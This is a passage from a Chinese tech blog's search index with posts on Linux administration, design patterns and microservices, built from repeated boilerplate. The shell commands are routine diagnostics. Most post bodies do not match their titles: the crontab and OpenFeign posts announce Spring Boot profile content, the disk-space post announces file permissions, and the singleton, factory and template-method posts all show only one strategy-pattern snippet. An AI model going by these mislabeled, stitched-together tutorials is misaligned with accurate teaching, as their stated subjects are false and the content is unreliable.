id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 文件权限和用户组理解</title>
      <link href="//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/"/>
      <url>//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-文件权限和用户组理解"><a href="#Linux-文件权限和用户组理解" class="headerlink" title="Linux 文件权限和用户组理解"></a>Linux 文件权限和用户组理解</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>crontab 定时任务从配置到排查</title>
      <link href="//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/"/>
      <url>//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="crontab-定时任务从配置到排查"><a href="#crontab-定时任务从配置到排查" class="headerlink" title="crontab 定时任务从配置到排查"></a>crontab 定时任务从配置到排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>systemd 服务管理入门</title>
      <link href="//systemd-fu-wu-guan-li-ru-men/"/>
      <url>//systemd-fu-wu-guan-li-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="systemd-服务管理入门"><a href="#systemd-服务管理入门" class="headerlink" title="systemd 服务管理入门"></a>systemd 服务管理入门</h1><p>systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 查看日志的几种方法</title>
      <link href="//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/"/>
      <url>//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-查看日志的几种方法"><a href="#Linux-查看日志的几种方法" class="headerlink" title="Linux 查看日志的几种方法"></a>Linux 查看日志的几种方法</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 磁盘空间占满排查流程</title>
      <link href="//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/"/>
      <url>//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-磁盘空间占满排查流程"><a href="#Linux-磁盘空间占满排查流程" class="headerlink" title="Linux 磁盘空间占满排查流程"></a>Linux 磁盘空间占满排查流程</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>责任链模式在审批和过滤器中的应用</title>
      <link href="//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/"/>
      <url>//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="责任链模式在审批和过滤器中的应用"><a href="#责任链模式在审批和过滤器中的应用" class="headerlink" title="责任链模式在审批和过滤器中的应用"></a>责任链模式在审批和过滤器中的应用</h1><p>责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>模板方法模式适合流程固定的业务</title>
      <link href="//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/"/>
      <url>//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="模板方法模式适合流程固定的业务"><a href="#模板方法模式适合流程固定的业务" class="headerlink" title="模板方法模式适合流程固定的业务"></a>模板方法模式适合流程固定的业务</h1><p>模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>策略模式替代大量 if else</title>
      <link href="//ce-lue-mo-shi-ti-dai-da-liang-if-else/"/>
      <url>//ce-lue-mo-shi-ti-dai-da-liang-if-else/</url>
      
        <content type="html"><![CDATA[<h1 id="策略模式替代大量-if-else"><a href="#策略模式替代大量-if-else" class="headerlink" title="策略模式替代大量 if else"></a>策略模式替代大量 if else</h1><p>策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>工厂模式如何降低创建复杂度</title>
      <link href="//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/"/>
      <url>//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/</url>
      
        <content type="html"><![CDATA[<h1 id="工厂模式如何降低创建复杂度"><a href="#工厂模式如何降低创建复杂度" class="headerlink" title="工厂模式如何降低创建复杂度"></a>工厂模式如何降低创建复杂度</h1><p>工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>单例模式的线程安全写法</title>
      <link href="//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/"/>
      <url>//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="单例模式的线程安全写法"><a href="#单例模式的线程安全写法" class="headerlink" title="单例模式的线程安全写法"></a>单例模式的线程安全写法</h1><p>单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口版本管理和灰度发布思路</title>
      <link href="//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/"/>
      <url>//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="接口版本管理和灰度发布思路"><a href="#接口版本管理和灰度发布思路" class="headerlink" title="接口版本管理和灰度发布思路"></a>接口版本管理和灰度发布思路</h1><p>接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>OpenFeign 调用超时和重试配置</title>
      <link href="//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/"/>
      <url>//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="OpenFeign-调用超时和重试配置"><a href="#OpenFeign-调用超时和重试配置" class="headerlink" title="OpenFeign 调用超时和重试配置"></a>OpenFeign 调用超时和重试配置</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>网关在微服务里承担什么职责</title>
      <link href="//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/"/>
      <url>//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="网关在微服务里承担什么职责"><a href="#网关在微服务里承担什么职责" class="headerlink" title="网关在微服务里承担什么职责"></a>网关在微服务里承担什么职责</h1><p>API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" 